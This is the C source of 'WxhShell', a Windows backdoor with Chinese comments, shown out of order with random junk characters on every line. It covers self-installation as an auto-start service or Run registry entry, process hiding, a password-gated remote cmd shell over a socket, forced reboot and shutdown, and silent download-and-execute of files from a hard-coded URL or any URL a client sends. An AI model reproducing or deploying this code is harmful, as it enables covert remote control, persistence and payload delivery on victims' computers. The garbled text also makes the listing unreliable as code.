  case 'd': { :#W>lq@H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w;^7FuBaC  
    if(Boot(SHUTDOWN)) /M_kJe,%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .ZH5^Sv$vp  
    else { faI4`.i  
    closesocket(wsh); w~*"mZaG  
    ExitThread(0); TUVqQ\oF:  
    } s-xby~  
    break; VnMiZAHR  
    } E}=F   
  // 获取shell ~3m} EL  
  case 's': { 'MIM_m)H  
    CmdShell(wsh); <4Cy U j  
    closesocket(wsh); {pB9T3ry]  
    ExitThread(0); pJwy ~ L  
    break; GP}+c8|2  
  } *|:]("i  
  // 退出 v_@&#!u`  
  case 'x': { k\M">K0E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BH=C  oD.  
    CloseIt(wsh); z3-AYQ.H  
    break; u\G\KASUK%  
    } Jz\'%O'  
  // 离开 NW;wy;;  
  case 'q': { w2`j&]D6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aw/5#(1R  
    closesocket(wsh); n 6|\  
    WSACleanup(); R2[!h1nZ  
    exit(1); Rd*/J~TK  
    break; "mkTCR^]e  
        } Cqk6Igw  
  } LIHf]+  
  } o>Z+=&BZ@a  
$(%t^8{a~G  
  // 提示信息 sQe>LNp,G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `{I-E5 x  
} gs77")K&  
  } ;rH@>VrR  
pF"IDC  
  return; O8ZHIs  
} PK* $  
b%,`;hy{  
// shell模块句柄 -f:uNF]Ls  
int CmdShell(SOCKET sock) l=JK+uZ  
{ Djf,#&j!3  
STARTUPINFO si; o,RLaS,BK'  
ZeroMemory(&si,sizeof(si)); lq!l{[Xp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yS-owtVCGF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `_v|O{DC{  
PROCESS_INFORMATION ProcessInfo; ^UK6q2[  
char cmdline[]="cmd"; x_5H_! \#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ];go?.*C  
  return 0; XX(;,[(_  
} ?Yp: h  
WChJ <[]W  
// 自身启动模式 D*j\gI  
int StartFromService(void) QRv2%^L  
{ r yO\$m  
typedef struct 6y9#am?  
{ ToVm]zPOUt  
  DWORD ExitStatus; : LI*#~'Ka  
  DWORD PebBaseAddress; vQ}llA h  
  DWORD AffinityMask; w#,C{6  
  DWORD BasePriority; oa|nQ`[  
  ULONG UniqueProcessId; fhmq O0  
  ULONG InheritedFromUniqueProcessId; fm\IQqIK%  
}   PROCESS_BASIC_INFORMATION; pJ5Sxgv{;  
&u_f:Pog  
PROCNTQSIP NtQueryInformationProcess; 6]^}GyM!  
l8hOryB&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [?hc.COE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HIi 5kv]}|  
O=St}B\!m  
  HANDLE             hProcess; OPwj*b:-m  
  PROCESS_BASIC_INFORMATION pbi; ( Qw"^lE3  
dg1h<]T"9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .Eg>)  
  if(NULL == hInst ) return 0; @vaK-&|#$  
Vj"B#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v }ZQC8wL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2@aVoqrq#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K/jC>4/c/  
{@oYMO~  
  if (!NtQueryInformationProcess) return 0; kGMI ?  
7PZ0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rr# &0`]  
  if(!hProcess) return 0; Khxl 'qj  
ALiXT8q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?8n`4yO0  
nrMm](Y45  
  CloseHandle(hProcess); ;%AK< RT  
a<M<) {$u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yla&/K;|*  
if(hProcess==NULL) return 0; F%x8y  
j']m*aM1>  
HMODULE hMod; Llk4 =p  
char procName[255]; C_Y^<  
unsigned long cbNeeded; gfs?H#  
{ CkxUec  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <w.W[ak  
V 3-5:z  
  CloseHandle(hProcess); b$+.}&M  
0Q=4{*:?  
if(strstr(procName,"services")) return 1; // 以服务启动 A5zT^!`[  
w Maib3Q  
  return 0; // 注册表启动 fNc3&=]]  
} Lz S@@']  
[|\~-6"7N|  
// 主模块 8|`4D 'Ln  
int StartWxhshell(LPSTR lpCmdLine) qde.;Yv9  
{ XFPWW,  
  SOCKET wsl; DGTSk9iK(  
BOOL val=TRUE; 1_!*R]aq  
  int port=0; p UWj,&t  
  struct sockaddr_in door; Zycu3%JI  
HP2]b?C  
  if(wscfg.ws_autoins) Install(); #m6 eG&a  
#n 7uw  
port=atoi(lpCmdLine); "EQ-`b=I4  
X6/k `J  
if(port<=0) port=wscfg.ws_port; E/9 U0  
iNgHx[*?  
  WSADATA data; XS]=sfN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M& GA:`  
cTFyF)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r"SuE:D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yK<%AV@v  
  door.sin_family = AF_INET; utC]GiR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;-47d ^  
  door.sin_port = htons(port); 69 R8#M  
S,EXc^A7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { it!8+hvq9*  
closesocket(wsl); ;$ =`BI)  
return 1; |<P]yn  
} `AeId/A4n  
`(<XdlOj  
  if(listen(wsl,2) == INVALID_SOCKET) { ?ZDXT2b~~  
closesocket(wsl); pm,&kE  
return 1; ,L^eD>|j5  
} b;O]@kBB  
  Wxhshell(wsl); !dYkvoQNn  
  WSACleanup(); ad8kUHf  
^$Dpdz I  
return 0; Sve~-aG  
;=Jj{FoG%  
} JNRG [j  
r@0HqZx`  
// 以NT服务方式启动 agN`) F!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >sdj6^[+  
{ `9Zoq=/  
DWORD   status = 0; .0S.7w3dZo  
  DWORD   specificError = 0xfffffff; b40zYH`'{  
Uwr inkoeE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I|,^a|\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2GA6@-u\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V=BF"S;-'  
  serviceStatus.dwWin32ExitCode     = 0; ~S15tZ $  
  serviceStatus.dwServiceSpecificExitCode = 0; sXkWs2!  
  serviceStatus.dwCheckPoint       = 0; %p)6m 2Sb  
  serviceStatus.dwWaitHint       = 0; |j$&W;yC  
IY?[0S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3Ln~"HwP  
  if (hServiceStatusHandle==0) return; V= U=  
a;D{P`%n  
status = GetLastError(); Zh]d&Xeq  
  if (status!=NO_ERROR) Glcl7f"<^  
{ &xMR{:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ={-\)j  
    serviceStatus.dwCheckPoint       = 0; R3<>]/1p|P  
    serviceStatus.dwWaitHint       = 0; c 's=>-X  
    serviceStatus.dwWin32ExitCode     = status; 7-.Y VM~R  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2j` x^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wIz<Y{HA=  
    return; &/}]9 #  
  } Xy:'f".M~\  
y!;rY1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _9wX8fh3D  
  serviceStatus.dwCheckPoint       = 0; G2U=*|  
  serviceStatus.dwWaitHint       = 0; A!No:?S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }:7'C. ."  
} ?2_Oa%M  
3'8B rK  
// 处理NT服务事件,比如:启动、停止 A9ia[2[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wGD".CS0  
{ x'@0]f.  
switch(fdwControl) -bu.Ar-#;h  
{ bv$_t)Xh  
case SERVICE_CONTROL_STOP: @T  
  serviceStatus.dwWin32ExitCode = 0; :2{6Pa(eg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kG/:fP  
  serviceStatus.dwCheckPoint   = 0; }$s#H{T!  
  serviceStatus.dwWaitHint     = 0; \dTX%<5D  
  { lcHw Kd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rlmzbIu I9  
  } +',[q  
  return; M5s>;q)  
case SERVICE_CONTROL_PAUSE: j|TcmZGO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N}b/; Y  
  break; {v+,U}  
case SERVICE_CONTROL_CONTINUE: \:-#,( .V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S(eCG2gR  
  break; ,y>,?6:>  
case SERVICE_CONTROL_INTERROGATE: I3]-$  
  break; ?*|AcMw5  
}; bO>q`%&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); trcG^uV  
} Q{T6t;eH  
7T9m@  
// 标准应用程序主函数 >Lx,<sE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q  9lz  
{ KSnU;B6w>  
J^8(h R  
// 获取操作系统版本 R7}=k)U?d@  
OsIsNt=GetOsVer(); e3,TY.,Ay  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %^ f! = *  
xDv$z.=Y  
  // 从命令行安装 5A oKlJrY  
  if(strpbrk(lpCmdLine,"iI")) Install(); [74HUw>  
c""*Ng*T  
  // 下载执行文件 5wYYYo=  
if(wscfg.ws_downexe) { =/Pmi_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  \B) a57  
  WinExec(wscfg.ws_filenam,SW_HIDE); mIgc)"  
} +>h}Uz  
B/.+&AJw  
if(!OsIsNt) { *F0O*n*7W  
// 如果时win9x,隐藏进程并且设置为注册表启动 g*?)o!_*  
HideProc(); S7]\tw_L)  
StartWxhshell(lpCmdLine); )zz^RB\p  
} H6%QM}t  
else b9Jah  
  if(StartFromService()) ]Ir{9EE v  
  // 以服务方式启动 yH5^EY7rQ  
  StartServiceCtrlDispatcher(DispatchTable); 5S`_q&  
else XG FjqZr`  
  // 普通方式启动 |b" h+  
  StartWxhshell(lpCmdLine); ]=\vl>W  
?3 {&"  
return 0; DKw%z8ft|  
} qniP`P4E  
IZ+kw.6e  
V}gP'f07zy  
BK`NPC$a  
=========================================== Agt6G\ n  
&J(+XJM%  
HYm |  
[mwJ*GJ-  
81Ixs Qt  
3SI:su  
" 4g<F."  
h!.#r*vV  
#include <stdio.h> u"eO&Vc  
#include <string.h> 8w1TX [b  
#include <windows.h> pa4,W!t  
#include <winsock2.h> zY_xJ"/9  
#include <winsvc.h> "c5C0 pK0  
#include <urlmon.h> ZI.;7G@|  
ZS&>%G  
#pragma comment (lib, "Ws2_32.lib") f}{ lRk  
#pragma comment (lib, "urlmon.lib") *FhD%><  
0kC}qru'  
#define MAX_USER   100 // 最大客户端连接数 W,<L/ZKJ  
#define BUF_SOCK   200 // sock buffer 4Ufx,]  
#define KEY_BUFF   255 // 输入 buffer vxuxfi8x  
]gHxvT\E  
#define REBOOT     0   // 重启 _ nFsC  
#define SHUTDOWN   1   // 关机 \i1>/`F  
b^ wWg  
#define DEF_PORT   5000 // 监听端口 R-odc,P=  
L(Ww6oj  
#define REG_LEN     16   // 注册表键长度 O`Ht|@[6  
#define SVC_LEN     80   // NT服务名长度 7 0pt5O3]  
eyq\a'tyB  
// 从dll定义API YbCqZqk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ">pW:apl%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BCnf'0q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F>N3GPRl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &G63ReW7 @  
"s-e)svB  
// wxhshell配置信息 MtE18m "z  
struct WSCFG { 9gjI;*(z1  
  int ws_port;         // 监听端口 _<Hx1l~  
  char ws_passstr[REG_LEN]; // 口令 R}~p1=D  
  int ws_autoins;       // 安装标记, 1=yes 0=no WH:[Y7D  
  char ws_regname[REG_LEN]; // 注册表键名 fpMnA  
  char ws_svcname[REG_LEN]; // 服务名 &qR1fbw"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]LGp3)T-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 85;hs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q I!c=:u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nT7{`aaQl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [HEqMBX=;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VjZ_L_U}  
/rMxl(wD'  
}; g~q+a-  
~vf&JH'!  
// default Wxhshell configuration z9> yg_Q  
struct WSCFG wscfg={DEF_PORT, *Nfn6lVB  
    "xuhuanlingzhe", \Xy]z  
    1, CR*9-Y93  
    "Wxhshell", Cjvgf .>$  
    "Wxhshell", `D2wlyqO6  
            "WxhShell Service", &!)F0PN:u  
    "Wrsky Windows CmdShell Service", -Vj'QqZ  
    "Please Input Your Password: ", \)?mIwo7~  
  1, L|sWSrqd  
  "http://www.wrsky.com/wxhshell.exe", Ub1?dk   
  "Wxhshell.exe" Y-8qAF?SJ]  
    }; / D9FjOP  
Rg:3}T`~n  
// 消息定义模块 XBJ9"G5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R<r"jOd]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L,@O OBD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c k~gB  
char *msg_ws_ext="\n\rExit."; ?(8z O"  
char *msg_ws_end="\n\rQuit."; 8 I'1~d%$  
char *msg_ws_boot="\n\rReboot..."; XTIRY4{ d  
char *msg_ws_poff="\n\rShutdown..."; lHYu-}TNP  
char *msg_ws_down="\n\rSave to "; R'E8>ee; ^  
Y~RZf /`  
char *msg_ws_err="\n\rErr!"; 7V/yU5  
char *msg_ws_ok="\n\rOK!"; $D,m o2I  
doR'E=Z4h  
char ExeFile[MAX_PATH]; +{%@kX<V_  
int nUser = 0; + n1jP<[<N  
HANDLE handles[MAX_USER]; ^iaeY jI  
int OsIsNt; vBUl6EmWu  
OtopA)  
SERVICE_STATUS       serviceStatus; B x(+uNQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )p.+39]{2  
>M` swEj  
// 函数声明 eYL7G-3  
int Install(void); X^3 0a*sj  
int Uninstall(void); YK# QH"}  
int DownloadFile(char *sURL, SOCKET wsh); `_2#t1`u  
int Boot(int flag); +MQvq\%tG  
void HideProc(void); 7f4R5c  
int GetOsVer(void); S}"?#=Q.%O  
int Wxhshell(SOCKET wsl); >40B Fxc  
void TalkWithClient(void *cs); Q:LyD!at  
int CmdShell(SOCKET sock); gbc^Lb  
int StartFromService(void); ^q"wd?((h  
int StartWxhshell(LPSTR lpCmdLine); qA- ya6  
-t9oL3J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &}Y_EHj}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %iPu51+=  
B3I\=  
// 数据结构和表定义 ?Y"bt^4j  
SERVICE_TABLE_ENTRY DispatchTable[] = d}f| HOFq  
{ ~A8%[.({5  
{wscfg.ws_svcname, NTServiceMain}, `Tzq vnn  
{NULL, NULL} 5H6GZ:hp  
}; l3aG#4jj  
[7Nn%eZC  
// 自我安装 W7N Hr5RC  
int Install(void) mRCgKW<  
{ UT [9ERS  
  char svExeFile[MAX_PATH]; nf< <]iHf  
  HKEY key; TJtW?c7  
  strcpy(svExeFile,ExeFile); Q, E!Ew3  
` n{rzenPX  
// 如果是win9x系统,修改注册表设为自启动 zIbl[[M&  
if(!OsIsNt) { BfOG e!Si  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  =erA.u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vvx(7p-GQ  
  RegCloseKey(key); $"{V],:T |  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ADX}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XA])<dZ  
  RegCloseKey(key); +DKrX  
  return 0; |Y<ca   
    } [BhpfZNKRA  
  } S&-sl   
} sF;1)7]Pq  
else { +N[dYm  
?Di, '  
// 如果是NT以上系统,安装为系统服务 ?xf59mY7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yZ&By?.0  
if (schSCManager!=0) yZ:|wxVY  
{ w8%yX$<  
  SC_HANDLE schService = CreateService F *; +-e  
  ( +ZXGT  
  schSCManager, hBsjO3n  
  wscfg.ws_svcname, whNRUOK:  
  wscfg.ws_svcdisp, ZP)=2'RY  
  SERVICE_ALL_ACCESS, Y,D\_il_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,Ucb)8a  
  SERVICE_AUTO_START, HZQI|  
  SERVICE_ERROR_NORMAL, }jd[>zk  
  svExeFile, eEsEW<su  
  NULL, 9szE^kHS9  
  NULL, )I+1 b !U  
  NULL, nGW wXySq  
  NULL, if5Y!Tx?G  
  NULL 5*buRYck0  
  ); oW]&]*>J  
  if (schService!=0) [v-?MS  
  { 6@2p@eYo  
  CloseServiceHandle(schService); af{;4Cr  
  CloseServiceHandle(schSCManager); !W$3p'8Tu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MC#bo{Bq3-  
  strcat(svExeFile,wscfg.ws_svcname); |iM*}Ix-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?vRz}hiy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tBBN62^ X  
  RegCloseKey(key); (Xq eX(s  
  return 0; RqHxKj  
    } w]yLdfi!  
  } !xo@i XL  
  CloseServiceHandle(schSCManager); v,>F0ofJ  
} aic6,>\!'  
} {>FA ~}cX.  
&P3B  
return 1; 0'97af  
} =< CH(4!  
d; #9xD'  
// 自我卸载 Wc3!aLNx  
int Uninstall(void) RAE|eTnna  
{ Q X@&~  
  HKEY key; j{_MDE7N  
qC\$>QU}  
if(!OsIsNt) { SO p%{b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e^'?:j  
  RegDeleteValue(key,wscfg.ws_regname); M`?/QU~  
  RegCloseKey(key); \f66ipZK*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ip5s'S~  
  RegDeleteValue(key,wscfg.ws_regname); 6\o.wq  
  RegCloseKey(key); tu!u9jVv  
  return 0; SgXXitg9+  
  } r.ajw&J2  
} p'w[5'  
} [F/xU  
else { 9:~,TH  
n; rOH[P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F$ h/k^  
if (schSCManager!=0) McsqMI6  
{ * n!0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^|sxbP  
  if (schService!=0) VDnAQ[T@d  
  { E#ys-t 42  
  if(DeleteService(schService)!=0) { Z<,gSut'Y  
  CloseServiceHandle(schService); B8s|VI  
  CloseServiceHandle(schSCManager); Kv#daAU  
  return 0; aRG[F*BY  
  } P`bR;2o  
  CloseServiceHandle(schService);  L<QDC   
  } Y6N+,FAk+J  
  CloseServiceHandle(schSCManager); +H<%)Lk J  
} },Z -w_H  
} BK /;H G  
v>R.M"f  
return 1; V)(pe #P  
} w@:o:yLS  
)d.7xY7!  
// 从指定url下载文件 gdG: &{|x  
int DownloadFile(char *sURL, SOCKET wsh) ))KsQJ"V  
{ Z#J{tXZc  
  HRESULT hr; ' xi..  
char seps[]= "/"; "   c  
char *token; Ck^=H  
char *file; 1$Hf`h2  
char myURL[MAX_PATH]; (u'/tNGS  
char myFILE[MAX_PATH]; wUV%NZB  
LB{a&I LG  
strcpy(myURL,sURL); 8 Zj>|u  
  token=strtok(myURL,seps); 73<iK]*c  
  while(token!=NULL) qJ!oH&/cD  
  { !<X_XA  
    file=token; ?,8b-U#A1  
  token=strtok(NULL,seps); ah<f&2f  
  } r2Z`4tN:  
sNZPv^c  
GetCurrentDirectory(MAX_PATH,myFILE); h">X!I  
strcat(myFILE, "\\"); h=U 4  
strcat(myFILE, file); +_}2zc4  
  send(wsh,myFILE,strlen(myFILE),0); cXCczqabv  
send(wsh,"...",3,0); v*^2[pf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =& lYv  
  if(hr==S_OK) w6yeX<!ll  
return 0; hWW<]qzA,  
else U92hv~\  
return 1; w`v\/a_  
AdYQhF##  
} |$w-}$jq5  
;yXnPAtJ  
// 系统电源模块 <?7~,#AK  
int Boot(int flag) X'F$K!o*,:  
{ o{Ep/O`  
  HANDLE hToken; uJ y@  
  TOKEN_PRIVILEGES tkp; $Yxy(7d7w  
d!X?R}  
  if(OsIsNt) { ]s S oIT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HWU{521  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZT8j9zs  
    tkp.PrivilegeCount = 1; Oxvw`a#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A&7jE:Ew  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?d0Dfqh_  
if(flag==REBOOT) { :)yM9^<D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^KF'/9S  
  return 0; S\rfR N  
} ;lEiOF+d  
else { lpM{@JC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Smu x&e  
  return 0; ~zX5}U<R  
} bDNd m-  
  } gc:>HX );)  
  else { hzH5K  
if(flag==REBOOT) { NEH$&%OV?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) igL^k`&5^"  
  return 0;  M:$nL  
} 7(;VUR%%.  
else { # 0 (\s@r.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~>R)H#mP7  
  return 0; F{+`F<r  
} {cI<4><  
} B;Z^.3  
`QF|> N  
return 1; qQ'@yTVN  
} Ei<:=6EX?8  
c%!wKoD  
// win9x进程隐藏模块 u2Obb`p S  
void HideProc(void) J#]y KgT  
{ !/zj7z !  
&O,$l3 P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2cl~Va=  
  if ( hKernel != NULL ) ( -@>  
  { WGx>{'LJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BxU1Q&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A{%;Hd`0/  
    FreeLibrary(hKernel); ~4<3`l=A  
  } 1 %`:8  
Gp+XM  
return; HWBom8u0  
} qI^jwl|k  
A~V\r<N j  
// 获取操作系统版本 J.l%H U  
int GetOsVer(void) sQs5z~#51*  
{ a)Ek~{9  
  OSVERSIONINFO winfo; |hM)e*"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |Ze}bM=N  
  GetVersionEx(&winfo); !?/bK[ P,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <GRf%zJ  
  return 1; [#Vr)\n  
  else |plo65  
  return 0; 4?& a?*M  
} G{~p.?f:  
oZ[ w  
// 客户端句柄模块 y3]"H(  
int Wxhshell(SOCKET wsl) VH6|(=8  
{ qEr[fC@x  
  SOCKET wsh; vq7%SEkES  
  struct sockaddr_in client; vP?S0>gh  
  DWORD myID; p9WskYpm  
B31-<w  
  while(nUser<MAX_USER) t|QMS M?s  
{ y03a\K5[KQ  
  int nSize=sizeof(client); {~g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |qDfFGYf  
  if(wsh==INVALID_SOCKET) return 1; ix@rq#  
EsB'nf r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *AR<DXE L  
if(handles[nUser]==0) )#~fS28j  
  closesocket(wsh); RpP[ymMZJ  
else {; cB?II  
  nUser++; L6=RD<~C  
  } (kyo?3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); , %O3^7i  
72vGfT2HtZ  
  return 0; Ytwv=;h-  
} q.[[ c  
 .OS?^\  
// 关闭 socket :vyf-K 74M  
void CloseIt(SOCKET wsh) PVc|y.  
{ YPDsE&,J)  
closesocket(wsh); 7d8qs%nA  
nUser--; T)tHN#6I  
ExitThread(0); pbxcsA\  
} Lj-&TO}OZ  
aq/Y}s?  
// 客户端请求句柄 DB'KIw  
void TalkWithClient(void *cs) x0$:"68PW  
{ &\` a5[  
9OT4j Am  
  SOCKET wsh=(SOCKET)cs; )TG0m= *  
  char pwd[SVC_LEN]; LNxE-Dp  
  char cmd[KEY_BUFF]; ]l7\Zq  
char chr[1]; JgKZ;GM:W  
int i,j; NV(4wlh)y  
vek:/'sj3p  
  while (nUser < MAX_USER) { J K]tcP  
IBNQmVRrI  
if(wscfg.ws_passstr) { TIWLp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f%[ukMj&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o ]jP3 $t;  
  //ZeroMemory(pwd,KEY_BUFF); UMi`u6#  
      i=0; VD&3%G!  
  while(i<SVC_LEN) { ?[1qC=[Z<  
15T[J%7f  
  // 设置超时 9AddF*B  
  fd_set FdRead; J}_Dpb[L  
  struct timeval TimeOut; ,3- -ERf  
  FD_ZERO(&FdRead); )^>XZ*eK  
  FD_SET(wsh,&FdRead); t:s q*d  
  TimeOut.tv_sec=8; S Ljf<.S  
  TimeOut.tv_usec=0; 7O9hn2?e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  {%~4RZA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C 3XZD4.2  
#Q7x:,f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "~2#!bK7  
  pwd=chr[0]; 5~%,u2  
  if(chr[0]==0xd || chr[0]==0xa) { A1t~&?  
  pwd=0; u#@{%kPW  
  break; HGQ?(2]8$  
  } ^8l3j4  
  i++; 3?Eoj95w!  
    } X8SRQO^  
\pD=Lv9  
  // 如果是非法用户,关闭 socket QUZQY`' @  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l8AEEG8>  
} ZIL| .<8I  
n$|c{2]=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zvb} p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9C)3 b3  
!+DJhw&c,  
while(1) { i|]Va44  
=Pb5b6Y@6  
  ZeroMemory(cmd,KEY_BUFF); 5 -WRv;  
-0VA!3l  
      // 自动支持客户端 telnet标准   Li-(p"  
  j=0; C| L^Ds0  
  while(j<KEY_BUFF) { T'b/]&0Tio  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 11y .z^  
  cmd[j]=chr[0]; 5+/b$mHZX  
  if(chr[0]==0xa || chr[0]==0xd) { kAB+28A  
  cmd[j]=0; *xo;pe)9  
  break; MjXE|3&  
  } hN_f h J  
  j++; Am4^v?q  
    } ,WB_C\.#XN  
Z-h7  
  // 下载文件 )x8;.@U  
  if(strstr(cmd,"http://")) { Ds%&Mi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sId(PT^  
  if(DownloadFile(cmd,wsh)) uQu/(5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %X"m/4c8}  
  else E_D ^O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]dbSa1?  
  } ta4JWllf  
  else { 4]aiT8))  
